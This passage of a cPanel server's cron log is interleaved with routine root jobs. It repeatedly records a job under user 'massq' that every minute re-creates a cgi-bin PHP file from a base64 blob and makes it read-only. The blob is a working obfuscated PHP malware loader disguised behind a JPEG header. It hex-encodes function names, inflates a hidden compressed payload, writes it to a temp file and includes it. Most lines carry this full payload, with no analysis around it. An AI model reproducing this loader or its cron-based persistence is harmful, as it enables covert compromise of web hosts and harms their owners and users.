yLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:46:01 server CROND[13078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:47:01 server CROND[13132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:47:01 server CROND[13133]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Apr  7 02:47:45 server crontab[13374]: (root) LIST (root)
Apr  7 02:47:45 server crontab[13376]: (root) LIST (root)
Apr  7 02:47:49 server crontab[13473]: (root) LIST (root)
Apr  7 02:48:01 server CROND[13694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:49:01 server CROND[14225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:50:01 server CROND[14378]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 02:50:01 server CROND[14380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:50:01 server CROND[14379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:50:01 server CROND[14381]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 02:50:01 server CROND[14382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:51:01 server CROND[14503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:52:01 server CROND[14556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:53:01 server CROND[14630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:54:01 server CROND[14685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:55:01 server CROND[14831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:55:01 server CROND[14832]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:55:01 server CROND[14830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:56:01 server CROND[14937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:57:01 server CROND[14993]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 02:57:01 server CROND[14992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:58:01 server CROND[15057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:59:01 server CROND[15124]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Apr  7 02:59:01 server CROND[15125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 